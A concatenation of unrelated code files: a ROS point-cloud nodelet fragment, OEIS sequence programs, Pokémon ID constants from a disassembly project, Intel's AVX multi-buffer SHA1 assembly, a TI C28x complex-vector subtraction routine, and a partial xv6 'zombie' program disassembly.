pcl::toROSMsg(colorized_cloud, ros_cloud);
ros_cloud.header = msg->header;
pub_.publish(ros_cloud);
}
}
#include <pluginlib/class_list_macros.h>
PLUGINLIB_EXPORT_CLASS (jsk_pcl_ros_utils::ColorizeHeight2DMapping, nodelet::Nodelet);
|
; A198695: 11*4^n-1
; 10,43,175,703,2815,11263,45055,180223,720895,2883583,11534335,46137343,184549375,738197503,2952790015,11811160063,47244640255,188978561023,755914244095,3023656976383,12094627905535,48378511622143,193514046488575,774056185954303,3096224743817215,12384898975268863,49539595901075455,198158383604301823,792633534417207295,3170534137668829183,12682136550675316735,50728546202701266943,202914184810805067775,811656739243220271103,3246626956972881084415,12986507827891524337663,51946031311566097350655
mov $1,4
pow $1,$0
mul $1,11
sub $1,1
mov $0,$1
|
; A168888: Number of reduced words of length n in Coxeter group on 19 generators S_i with relations (S_i)^2 = (S_i S_j)^21 = I.
; Submitted by Jamie Morken(s4)
; 1,19,342,6156,110808,1994544,35901792,646232256,11632180608,209379250944,3768826516992,67838877305856,1221099791505408,21979796247097344,395636332447752192,7121453984059539456
mov $1,$0
mov $0,1
mov $2,18
pow $2,$1
mul $0,$2
div $0,18
add $2,$0
mov $0,$2
|
; pokemon ids
; indexes for:
; - PokemonNames (see data/pokemon/names.asm)
; - BaseData (see data/pokemon/base_stats.asm)
; - EvosAttacksPointers (see data/pokemon/evos_attacks_pointers.asm)
; - EggMovePointers (see data/pokemon/egg_move_pointers.asm)
; - PokemonCries (see data/pokemon/cries.asm)
; - MonMenuIcons (see data/pokemon/menu_icons.asm)
; - PokemonPicPointers (see data/pokemon/pic_pointers.asm)
; - PokemonPalettes (see data/pokemon/palettes.asm)
; - PokedexDataPointerTable (see data/pokemon/dex_entry_pointers.asm)
; - AlphabeticalPokedexOrder (see data/pokemon/dex_order_alpha.asm)
; - EZChat_SortedPokemon (see data/pokemon/ezchat_order.asm)
; - NewPokedexOrder (see data/pokemon/dex_order_new.asm)
; - Pokered_MonIndices (see data/pokemon/gen1_order.asm)
; - AnimationPointers (see gfx/pokemon/anim_pointers.asm)
; - AnimationIdlePointers (see gfx/pokemon/idle_pointers.asm)
; - BitmasksPointers (see gfx/pokemon/bitmask_pointers.asm)
; - FramesPointers (see gfx/pokemon/frame_pointers.asm)
; - Footprints (see gfx/footprints.asm)
const_def 1
const BULBASAUR ; 01
const IVYSAUR ; 02
const VENUSAUR ; 03
const CHARMANDER ; 04
const CHARMELEON ; 05
const CHARIZARD ; 06
const SQUIRTLE ; 07
const WARTORTLE ; 08
const BLASTOISE ; 09
const CATERPIE ; 0a
const METAPOD ; 0b
const BUTTERFREE ; 0c
const WEEDLE ; 0d
const KAKUNA ; 0e
const BEEDRILL ; 0f
const PIDGEY ; 10
const PIDGEOTTO ; 11
const PIDGEOT ; 12
const RATTATA ; 13
const RATICATE ; 14
const SPEAROW ; 15
const FEAROW ; 16
const EKANS ; 17
const ARBOK ; 18
const PIKACHU ; 19
const RAICHU ; 1a
const SANDSHREW ; 1b
const SANDSLASH ; 1c
const NIDORAN_F ; 1d
const NIDORINA ; 1e
const NIDOQUEEN ; 1f
const NIDORAN_M ; 20
const NIDORINO ; 21
const NIDOKING ; 22
const CLEFAIRY ; 23
const CLEFABLE ; 24
const VULPIX ; 25
const NINETALES ; 26
const JIGGLYPUFF ; 27
const WIGGLYTUFF ; 28
const ZUBAT ; 29
const GOLBAT ; 2a
const ODDISH ; 2b
const GLOOM ; 2c
const VILEPLUME ; 2d
const PARAS ; 2e
const PARASECT ; 2f
const VENONAT ; 30
const VENOMOTH ; 31
const DIGLETT ; 32
const DUGTRIO ; 33
const MEOWTH ; 34
const PERSIAN ; 35
const PSYDUCK ; 36
const GOLDUCK ; 37
const MANKEY ; 38
const PRIMEAPE ; 39
const GROWLITHE ; 3a
const ARCANINE ; 3b
const POLIWAG ; 3c
const POLIWHIRL ; 3d
const POLIWRATH ; 3e
const ABRA ; 3f
const KADABRA ; 40
const ALAKAZAM ; 41
const MACHOP ; 42
const MACHOKE ; 43
const MACHAMP ; 44
const BELLSPROUT ; 45
const WEEPINBELL ; 46
const VICTREEBEL ; 47
const TENTACOOL ; 48
const TENTACRUEL ; 49
const GEODUDE ; 4a
const GRAVELER ; 4b
const GOLEM ; 4c
const PONYTA ; 4d
const RAPIDASH ; 4e
const SLOWPOKE ; 4f
const SLOWBRO ; 50
const MAGNEMITE ; 51
const MAGNETON ; 52
const FARFETCH_D ; 53
const DODUO ; 54
const DODRIO ; 55
const SEEL ; 56
const DEWGONG ; 57
const GRIMER ; 58
const MUK ; 59
const SHELLDER ; 5a
const CLOYSTER ; 5b
const GASTLY ; 5c
const HAUNTER ; 5d
const GENGAR ; 5e
const ONIX ; 5f
const DROWZEE ; 60
const HYPNO ; 61
const KRABBY ; 62
const KINGLER ; 63
const VOLTORB ; 64
const ELECTRODE ; 65
const EXEGGCUTE ; 66
const EXEGGUTOR ; 67
const CUBONE ; 68
const MAROWAK ; 69
const HITMONLEE ; 6a
const HITMONCHAN ; 6b
const LICKITUNG ; 6c
const KOFFING ; 6d
const WEEZING ; 6e
const RHYHORN ; 6f
const RHYDON ; 70
const CHANSEY ; 71
const TANGELA ; 72
const KANGASKHAN ; 73
const HORSEA ; 74
const SEADRA ; 75
const GOLDEEN ; 76
const SEAKING ; 77
const STARYU ; 78
const STARMIE ; 79
const MR__MIME ; 7a
const SCYTHER ; 7b
const JYNX ; 7c
const ELECTABUZZ ; 7d
const MAGMAR ; 7e
const PINSIR ; 7f
const TAUROS ; 80
const MAGIKARP ; 81
const GYARADOS ; 82
const LAPRAS ; 83
const DITTO ; 84
const EEVEE ; 85
const VAPOREON ; 86
const JOLTEON ; 87
const FLAREON ; 88
const PORYGON ; 89
const OMANYTE ; 8a
const OMASTAR ; 8b
const KABUTO ; 8c
const KABUTOPS ; 8d
const AERODACTYL ; 8e
const SNORLAX ; 8f
const ARTICUNO ; 90
const ZAPDOS ; 91
const MOLTRES ; 92
const DRATINI ; 93
const DRAGONAIR ; 94
const DRAGONITE ; 95
const MEWTWO ; 96
const MEW ; 97
JOHTO_POKEMON EQU const_value
const CHIKORITA ; 98
const BAYLEEF ; 99
const MEGANIUM ; 9a
const CYNDAQUIL ; 9b
const QUILAVA ; 9c
const TYPHLOSION ; 9d
const TOTODILE ; 9e
const CROCONAW ; 9f
const FERALIGATR ; a0
const SENTRET ; a1
const FURRET ; a2
const HOOTHOOT ; a3
const NOCTOWL ; a4
const LEDYBA ; a5
const LEDIAN ; a6
const SPINARAK ; a7
const ARIADOS ; a8
const CROBAT ; a9
const CHINCHOU ; aa
const LANTURN ; ab
const PICHU ; ac
const CLEFFA ; ad
const IGGLYBUFF ; ae
const TOGEPI ; af
const TOGETIC ; b0
const NATU ; b1
const XATU ; b2
const MAREEP ; b3
const FLAAFFY ; b4
const AMPHAROS ; b5
const BELLOSSOM ; b6
const MARILL ; b7
const AZUMARILL ; b8
const SUDOWOODO ; b9
const POLITOED ; ba
const HOPPIP ; bb
const SKIPLOOM ; bc
const JUMPLUFF ; bd
const AIPOM ; be
const SUNKERN ; bf
const SUNFLORA ; c0
const YANMA ; c1
const WOOPER ; c2
const QUAGSIRE ; c3
const ESPEON ; c4
const UMBREON ; c5
const MURKROW ; c6
const SLOWKING ; c7
const MISDREAVUS ; c8
const UNOWN ; c9
const WOBBUFFET ; ca
const GIRAFARIG ; cb
const PINECO ; cc
const FORRETRESS ; cd
const DUNSPARCE ; ce
const GLIGAR ; cf
const STEELIX ; d0
const SNUBBULL ; d1
const GRANBULL ; d2
const QWILFISH ; d3
const SCIZOR ; d4
const SHUCKLE ; d5
const HERACROSS ; d6
const SNEASEL ; d7
const TEDDIURSA ; d8
const URSARING ; d9
const SLUGMA ; da
const MAGCARGO ; db
const SWINUB ; dc
const PILOSWINE ; dd
const CORSOLA ; de
const REMORAID ; df
const OCTILLERY ; e0
const DELIBIRD ; e1
const MANTINE ; e2
const SKARMORY ; e3
const HOUNDOUR ; e4
const HOUNDOOM ; e5
const KINGDRA ; e6
const PHANPY ; e7
const DONPHAN ; e8
const PORYGON2 ; e9
const STANTLER ; ea
const SMEARGLE ; eb
const TYROGUE ; ec
const HITMONTOP ; ed
const SMOOCHUM ; ee
const ELEKID ; ef
const MAGBY ; f0
const MILTANK ; f1
const BLISSEY ; f2
const RAIKOU ; f3
const ENTEI ; f4
const SUICUNE ; f5
const LARVITAR ; f6
const PUPITAR ; f7
const TYRANITAR ; f8
const LUGIA ; f9
const HO_OH ; fa
const CELEBI ; fb
const COINPUR ; fc
const KATU ; fd
const ADBARSTORK ; fe
const PUPPERON ; ff
const BIPULLA ; ???
const MOIBELLE
NUM_POKEMON EQU const_value + -1
EGG EQU -3
; limits:
; 999: everything that prints dex counts
; 1407: size of wPokedexOrder
; 4095: hard limit; would require serious redesign to increase
if NUM_POKEMON > 999
fail "Too many Pokémon defined!"
endc
; Unown forms
; indexes for:
; - UnownWords (see data/pokemon/unown_words.asm)
; - UnownPicPointers (see data/pokemon/unown_pic_pointers.asm)
; - UnownAnimationPointers (see gfx/pokemon/unown_anim_pointers.asm)
; - UnownAnimationIdlePointers (see gfx/pokemon/unown_idle_pointers.asm)
; - UnownBitmasksPointers (see gfx/pokemon/unown_bitmask_pointers.asm)
; - UnownFramesPointers (see gfx/pokemon/unown_frame_pointers.asm)
const_def 1
const UNOWN_A ; 1
const UNOWN_B ; 2
const UNOWN_C ; 3
const UNOWN_D ; 4
const UNOWN_E ; 5
const UNOWN_F ; 6
const UNOWN_G ; 7
const UNOWN_H ; 8
const UNOWN_I ; 9
const UNOWN_J ; 10
const UNOWN_K ; 11
const UNOWN_L ; 12
const UNOWN_M ; 13
const UNOWN_N ; 14
const UNOWN_O ; 15
const UNOWN_P ; 16
const UNOWN_Q ; 17
const UNOWN_R ; 18
const UNOWN_S ; 19
const UNOWN_T ; 20
const UNOWN_U ; 21
const UNOWN_V ; 22
const UNOWN_W ; 23
const UNOWN_X ; 24
const UNOWN_Y ; 25
const UNOWN_Z ; 26
NUM_UNOWN EQU const_value + -1 ; 26
|
;;
;; Copyright (c) 2012-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/clear_regs.asm"
mksection .rodata
default rel
align 16
PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x0c0d0e0f08090a0b0405060700010203
dq 0x0405060700010203, 0x0c0d0e0f08090a0b
K00_19: ;ddq 0x5A8279995A8279995A8279995A827999
dq 0x5A8279995A827999, 0x5A8279995A827999
K20_39: ;ddq 0x6ED9EBA16ED9EBA16ED9EBA16ED9EBA1
dq 0x6ED9EBA16ED9EBA1, 0x6ED9EBA16ED9EBA1
K40_59: ;ddq 0x8F1BBCDC8F1BBCDC8F1BBCDC8F1BBCDC
dq 0x8F1BBCDC8F1BBCDC, 0x8F1BBCDC8F1BBCDC
K60_79: ;ddq 0xCA62C1D6CA62C1D6CA62C1D6CA62C1D6
dq 0xCA62C1D6CA62C1D6, 0xCA62C1D6CA62C1D6
mksection .text
;; code to compute quad SHA1 using AVX
;; derived from ...\sha1_multiple\sha1_quad4.asm
;; variation of sha1_mult2.asm : clobbers all xmm regs, rcx left intact
;; rbx, rsi, rdi, rbp, r12-r15 left intact
;; This version is not safe to call from C/C++
;; Stack must be aligned to 16 bytes before call
;; Windows clobbers: rax rdx r8 r9 r10 r11
;; Windows preserves: rbx rcx rsi rdi rbp r12 r13 r14 r15
;;
;; Linux clobbers: rax rsi r8 r9 r10 r11
;; Linux preserves: rbx rcx rdx rdi rbp r12 r13 r14 r15
;;
;; clobbers xmm0-15
; transpose r0, r1, r2, r3, t0, t1
; "transpose" data in {r0..r3} using temps {t0..t3}
; Input looks like: {r0 r1 r2 r3}
; r0 = {a3 a2 a1 a0}
; r1 = {b3 b2 b1 b0}
; r2 = {c3 c2 c1 c0}
; r3 = {d3 d2 d1 d0}
;
; output looks like: {t0 r1 r0 r3}
; t0 = {d0 c0 b0 a0}
; r1 = {d1 c1 b1 a1}
; r0 = {d2 c2 b2 a2}
; r3 = {d3 c3 b3 a3}
;
%macro TRANSPOSE 6
%define %%r0 %1
%define %%r1 %2
%define %%r2 %3
%define %%r3 %4
%define %%t0 %5
%define %%t1 %6
vshufps %%t0, %%r0, %%r1, 0x44 ; t0 = {b1 b0 a1 a0}
vshufps %%r0, %%r0, %%r1, 0xEE ; r0 = {b3 b2 a3 a2}
vshufps %%t1, %%r2, %%r3, 0x44 ; t1 = {d1 d0 c1 c0}
vshufps %%r2, %%r2, %%r3, 0xEE ; r2 = {d3 d2 c3 c2}
vshufps %%r1, %%t0, %%t1, 0xDD ; r1 = {d1 c1 b1 a1}
vshufps %%r3, %%r0, %%r2, 0xDD ; r3 = {d3 c3 b3 a3}
vshufps %%r0, %%r0, %%r2, 0x88 ; r0 = {d2 c2 b2 a2}
vshufps %%t0, %%t0, %%t1, 0x88 ; t0 = {d0 c0 b0 a0}
%endmacro
;;
;; Magic functions defined in FIPS 180-1
;;
; macro MAGIC_F0 F,B,C,D,T ;; F = (D ^ (B & (C ^ D)))
%macro MAGIC_F0 5
%define %%regF %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regT %5
vpxor %%regF, %%regC,%%regD
vpand %%regF, %%regF,%%regB
vpxor %%regF, %%regF,%%regD
%endmacro
; macro MAGIC_F1 F,B,C,D,T ;; F = (B ^ C ^ D)
%macro MAGIC_F1 5
%define %%regF %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regT %5
vpxor %%regF,%%regD,%%regC
vpxor %%regF,%%regF,%%regB
%endmacro
; macro MAGIC_F2 F,B,C,D,T ;; F = ((B & C) | (B & D) | (C & D))
%macro MAGIC_F2 5
%define %%regF %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regT %5
vpor %%regF,%%regB,%%regC
vpand %%regT,%%regB,%%regC
vpand %%regF,%%regF,%%regD
vpor %%regF,%%regF,%%regT
%endmacro
; macro MAGIC_F3 F,B,C,D,T ;; F = (B ^ C ^ D)
%macro MAGIC_F3 5
%define %%regF %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regT %5
MAGIC_F1 %%regF,%%regB,%%regC,%%regD,%%regT
%endmacro
; PROLD reg, imm, tmp
%macro PROLD 3
%define %%reg %1
%define %%imm %2
%define %%tmp %3
vpsrld %%tmp, %%reg, (32-(%%imm))
vpslld %%reg, %%reg, %%imm
vpor %%reg, %%reg, %%tmp
%endmacro
; non-destructive
; PROLD_nd reg, imm, tmp, src
%macro PROLD_nd 4
%define %%reg %1
%define %%imm %2
%define %%tmp %3
%define %%src %4
vpsrld %%tmp, %%src, (32-(%%imm))
vpslld %%reg, %%src, %%imm
vpor %%reg, %%reg, %%tmp
%endmacro
%macro SHA1_STEP_00_15 10
%define %%regA %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regE %5
%define %%regT %6
%define %%regF %7
%define %%memW %8
%define %%immCNT %9
%define %%MAGIC %10
vpaddd %%regE, %%regE,%%immCNT
vpaddd %%regE, %%regE,[rsp + (%%memW * 16)]
PROLD_nd %%regT,5, %%regF,%%regA
vpaddd %%regE, %%regE,%%regT
%%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D)
PROLD %%regB,30, %%regT
vpaddd %%regE, %%regE,%%regF
%endmacro
%macro SHA1_STEP_16_79 10
%define %%regA %1
%define %%regB %2
%define %%regC %3
%define %%regD %4
%define %%regE %5
%define %%regT %6
%define %%regF %7
%define %%memW %8
%define %%immCNT %9
%define %%MAGIC %10
vpaddd %%regE, %%regE,%%immCNT
vmovdqa W14, [rsp + ((%%memW - 14) & 15) * 16]
vpxor W16, W16, W14
vpxor W16, W16, [rsp + ((%%memW - 8) & 15) * 16]
vpxor W16, W16, [rsp + ((%%memW - 3) & 15) * 16]
vpsrld %%regF, W16, (32-1)
vpslld W16, W16, 1
vpor %%regF, %%regF, W16
ROTATE_W
vmovdqa [rsp + ((%%memW - 0) & 15) * 16],%%regF
vpaddd %%regE, %%regE,%%regF
PROLD_nd %%regT,5, %%regF, %%regA
vpaddd %%regE, %%regE,%%regT
%%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D)
PROLD %%regB,30, %%regT
vpaddd %%regE,%%regE,%%regF
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; FRAMESZ must be an odd multiple of 8
%define FRAMESZ 16*16 + 8
%define VMOVPS vmovdqu
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%else
%define arg1 rcx
%define arg2 rdx
%endif
%define inp0 r8
%define inp1 r9
%define inp2 r10
%define inp3 r11
%define IDX rax
%define A xmm0
%define B xmm1
%define C xmm2
%define D xmm3
%define E xmm4
%define F xmm5 ; tmp
%define G xmm6 ; tmp
%define TMP G
%define FUN F
%define K xmm7
%define AA xmm8
%define BB xmm9
%define CC xmm10
%define DD xmm11
%define EE xmm12
%define T0 xmm6
%define T1 xmm7
%define T2 xmm8
%define T3 xmm9
%define T4 xmm10
%define T5 xmm11
%define W14 xmm13
%define W15 xmm14
%define W16 xmm15
%macro ROTATE_ARGS 0
%xdefine TMP_ E
%xdefine E D
%xdefine D C
%xdefine C B
%xdefine B A
%xdefine A TMP_
%endm
%macro ROTATE_W 0
%xdefine TMP_ W16
%xdefine W16 W15
%xdefine W15 W14
%xdefine W14 TMP_
%endm
align 32
; XMM registers are clobbered. Saving/restoring must be done at a higher level
; void sha1_mult_avx(SHA1_ARGS *args, UINT32 size_in_blocks);
; arg 1 : rcx : pointer to args
; arg 2 : rdx : size (in blocks) ;; assumed to be >= 1
MKGLOBAL(sha1_mult_avx,function,internal)
sha1_mult_avx:
sub rsp, FRAMESZ
;; Initialize digests
vmovdqa A, [arg1 + 0*SHA1_DIGEST_ROW_SIZE]
vmovdqa B, [arg1 + 1*SHA1_DIGEST_ROW_SIZE]
vmovdqa C, [arg1 + 2*SHA1_DIGEST_ROW_SIZE]
vmovdqa D, [arg1 + 3*SHA1_DIGEST_ROW_SIZE]
vmovdqa E, [arg1 + 4*SHA1_DIGEST_ROW_SIZE]
;; transpose input onto stack
mov inp0,[arg1 + _data_ptr_sha1 + 0*PTR_SZ]
mov inp1,[arg1 + _data_ptr_sha1 + 1*PTR_SZ]
mov inp2,[arg1 + _data_ptr_sha1 + 2*PTR_SZ]
mov inp3,[arg1 + _data_ptr_sha1 + 3*PTR_SZ]
xor IDX, IDX
lloop:
vmovdqa F, [rel PSHUFFLE_BYTE_FLIP_MASK]
%assign I 0
%rep 4
VMOVPS T2,[inp0+IDX]
VMOVPS T1,[inp1+IDX]
VMOVPS T4,[inp2+IDX]
VMOVPS T3,[inp3+IDX]
TRANSPOSE T2, T1, T4, T3, T0, T5
vpshufb T0, T0, F
vmovdqa [rsp+(I*4+0)*16],T0
vpshufb T1, T1, F
vmovdqa [rsp+(I*4+1)*16],T1
vpshufb T2, T2, F
vmovdqa [rsp+(I*4+2)*16],T2
vpshufb T3, T3, F
vmovdqa [rsp+(I*4+3)*16],T3
add IDX, 4*4
%assign I (I+1)
%endrep
; save old digests
vmovdqa AA, A
vmovdqa BB, B
vmovdqa CC, C
vmovdqa DD, D
vmovdqa EE, E
;;
;; perform 0-79 steps
;;
vmovdqa K, [rel K00_19]
;; do rounds 0...15
%assign I 0
%rep 16
SHA1_STEP_00_15 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F0
ROTATE_ARGS
%assign I (I+1)
%endrep
;; do rounds 16...19
vmovdqa W16, [rsp + ((16 - 16) & 15) * 16]
vmovdqa W15, [rsp + ((16 - 15) & 15) * 16]
%rep 4
SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F0
ROTATE_ARGS
%assign I (I+1)
%endrep
;; do rounds 20...39
vmovdqa K, [rel K20_39]
%rep 20
SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F1
ROTATE_ARGS
%assign I (I+1)
%endrep
;; do rounds 40...59
vmovdqa K, [rel K40_59]
%rep 20
SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F2
ROTATE_ARGS
%assign I (I+1)
%endrep
;; do rounds 60...79
vmovdqa K, [rel K60_79]
%rep 20
SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F3
ROTATE_ARGS
%assign I (I+1)
%endrep
vpaddd A,A,AA
vpaddd B,B,BB
vpaddd C,C,CC
vpaddd D,D,DD
vpaddd E,E,EE
sub arg2, 1
jne lloop
; write out digests
vmovdqa [arg1 + 0*SHA1_DIGEST_ROW_SIZE], A
vmovdqa [arg1 + 1*SHA1_DIGEST_ROW_SIZE], B
vmovdqa [arg1 + 2*SHA1_DIGEST_ROW_SIZE], C
vmovdqa [arg1 + 3*SHA1_DIGEST_ROW_SIZE], D
vmovdqa [arg1 + 4*SHA1_DIGEST_ROW_SIZE], E
; update input pointers
add inp0, IDX
mov [arg1 + _data_ptr_sha1 + 0*PTR_SZ], inp0
add inp1, IDX
mov [arg1 + _data_ptr_sha1 + 1*PTR_SZ], inp1
add inp2, IDX
mov [arg1 + _data_ptr_sha1 + 2*PTR_SZ], inp2
add inp3, IDX
mov [arg1 + _data_ptr_sha1 + 3*PTR_SZ], inp3
;;;;;;;;;;;;;;;;
;; Postamble
;; Clear all stack containing part of message
%ifdef SAFE_DATA
clear_all_xmms_avx_asm
%assign i 0
%rep 16
vmovdqa [rsp + i*16], xmm0
%assign i (i+1)
%endrep
%endif
add rsp, FRAMESZ
ret
mksection stack-noexec
|
;;#############################################################################
;;! \file source/vector/sub_SP_CVxCV.asm
;;!
;;! \brief C-Callable subtraction of a complex vector and a complex vector
;;! \author David M. Alter
;;! \date 06/21/13
;;
;; HISTORY:
;; 07/15/11 - original (D. Alter)
;;
;; DESCRIPTION: C-Callable subtraction of a complex vector and a complex vector
;; y_re[i] = w_re[i] - x_re[i]
;; y_im[i] = w_im[i] - x_im[i]
;;
;; FUNCTION:
;; extern void sub_SP_CVxCV(complex_float *y, const complex_float *w,
;; const complex_float *x, const Uint16 N)
;;
;; USAGE: sub_SP_CVxCV(y, w, x, N);
;;
;; PARAMETERS: complex_float *y = result complex array
;; complex_float *w = input complex array #1
;; complex_float *x = input complex array #2
;; Uint16 N = length of w, x, and y arrays
;;
;; RETURNS: none
;;
;; BENCHMARK: 6*N + 15 cycles (including the call and return)
;;
;; NOTES:
;; 1) N must be at least 2.
;; 2) The inputs and return value are of type 'complex_float':
;;
;; typedef struct {
;; float32 dat[2];
;; } complex_float;
;;
;; Group: C2000
;; Target Family: C28x+FPU32
;;
;;#############################################################################
;;$TI Release: C28x Floating Point Unit Library V1.50.00.00 $
;;$Release Date: Oct 18, 2018 $
;;$Copyright: Copyright (C) 2018 Texas Instruments Incorporated -
;; http://www.ti.com/ ALL RIGHTS RESERVED $
;;#############################################################################
.global _sub_SP_CVxCV
.text
_sub_SP_CVxCV:
MOVL XAR6, *-SP[4] ;XAR6 = &x
ADDB AL, #-2 ;subtract 2 from N since RPTB is 'n-1'
;times and last iteration done separately
MOV32 R0H, *XAR5++ ;load first w_re[i]
;---Main loop
RPTB end_loop, @AL
MOV32 R1H, *XAR6++ ;load next x_re[i]
SUBF32 R2H, R0H, R1H ;y_re[i] = w_re[i] - x_re[i]
|| MOV32 R0H, *XAR5++ ;load w_im[i]
MOV32 R1H, *XAR6++ ;load x_im[i]
SUBF32 R3H, R0H, R1H ;y_im[i] = w_im[i] - x_im[i]
|| MOV32 R0H, *XAR5++ ;load next w_re[i]
MOV32 *XAR4++, R2H ;store y_re[i]
MOV32 *XAR4++, R3H ;store y_im[i]
end_loop:
;--- Last iteration done separately to avoid possible pointer overrun into
; undefined memory
MOV32 R1H, *XAR6++ ;load next x_re[i]
SUBF32 R2H, R0H, R1H ;y_re[i] = w_re[i] - x_re[i]
|| MOV32 R0H, *XAR5 ;load w_im[i]
MOV32 R1H, *XAR6 ;load x_im[i]
SUBF32 R3H, R0H, R1H ;y_im[i] = w_im[i] - x_im[i]
MOV32 *XAR4++, R2H ;store y_re[i]
MOV32 *XAR4++, R3H ;store y_im[i]
;Finish up
LRETR ;return
;end of function _sub_SP_CVxCV()
;*********************************************************************
.end
;;#############################################################################
;; End of File
;;#############################################################################
|
_zombie: file format elf64-x86-64
Disassembly of section .text:
0000000000001000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
1000: f3 0f 1e fa endbr64
1004: 55 push %rbp
1005: 48 89 e5 mov %rsp,%rbp
if(fork() > 0)
1008: 48 b8 6b 13 00 00 00 movabs $0x136b,%rax
100f: 00 00 00
1012: ff d0 callq *%rax
1014: 85 c0 test %eax,%eax
1016: 7e 11 jle 1029 <main+0x29>
sleep(5); // Let child exit before parent.
1018: bf 05 00 00 00 mov $0x5,%edi
101d: 48 b8 62 14 00 00 00 movabs $0x1462,%rax
1024: 00 00 00
1027: ff d0 callq *%rax
exit();
1029: 48 b8 78 13 00 00 00 movabs $0x1378,%rax
1030: 00 00 00
1033: ff d0 callq *%rax
0000000000001035 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1035: f3 0f 1e fa endbr64
1039: 55 push %rbp
103a: 48 89 e5 mov %rsp,%rbp
103d: 48 83 ec 10 sub $0x10,%rsp
1041: 48 89 7d f8 mov %rdi,-0x8(%rbp)
1045: 89 75 f4 mov %esi,-0xc(%rbp)
1048: 89 55 f0 mov %edx,-0x10(%rbp)
asm volatile("cld; rep stosb" :
104b: 48 8b 4d f8 mov -0x8(%rbp),%rcx
104f: 8b 55 f0 mov -0x10(%rbp),%edx
1052: 8b 45 f4 mov -0xc(%rbp),%eax
1055: 48 89 ce mov %rcx,%rsi
1058: 48 89 f7 mov %rsi,%rdi
105b: 89 d1 mov %edx,%ecx
105d: fc cld
105e: f3 aa rep stos %al,%es:(%rdi)
1060: 89 ca mov %ecx,%edx
1062: 48 89 fe mov %rdi,%rsi
1065: 48 89 75 f8 mov %rsi,-0x8(%rbp)
1069: 89 55 f0 mov %edx,-0x10(%rbp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
106c: 90 nop
106d: c9 leaveq
106e: c3 retq
000000000000106f <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
106f: f3 0f 1e fa endbr64
1073: 55 push %rbp
1074: 48 89 e5 mov %rsp,%rbp
1077: 48 83 ec 20 sub $0x20,%rsp
107b: 48 89 7d e8 mov %rdi,-0x18(%rbp)
107f: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *os;
os = s;
1083: 48 8b 45 e8 mov -0x18(%rbp),%rax
1087: 48 89 45 f8 mov %rax,-0x8(%rbp)
while((*s++ = *t++) != 0)
108b: 90 nop
108c: 48 8b 55 e0 mov -0x20(%rbp),%rdx
1090: 48 8d 42 01 lea 0x1(%rdx),%rax
1094: 48 89 45 e0 mov %rax,-0x20(%rbp)
1098: 48 8b 45 e8 mov -0x18(%rbp),%rax
109c: 48 8d 48 01 lea 0x1(%rax),%rcx
10a0: 48 89 4d e8 mov %rcx,-0x18(%rbp)
10a4: 0f b6 12 movzbl (%rdx),%edx
10a7: 88 10 mov %dl,(%rax)
10a9: 0f b6 00 movzbl (%rax),%eax
10ac: 84 c0 test %al,%al
10ae: 75 dc jne 108c <strcpy+0x1d>
;
return os;
10b0: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
10b4: c9 leaveq
10b5: c3 retq
00000000000010b6 <strcmp>:
int
strcmp(const char *p, const char *q)
{
10b6: f3 0f 1e fa endbr64
10ba: 55 push %rbp
10bb: 48 89 e5 mov %rsp,%rbp
10be: 48 83 ec 10 sub $0x10,%rsp
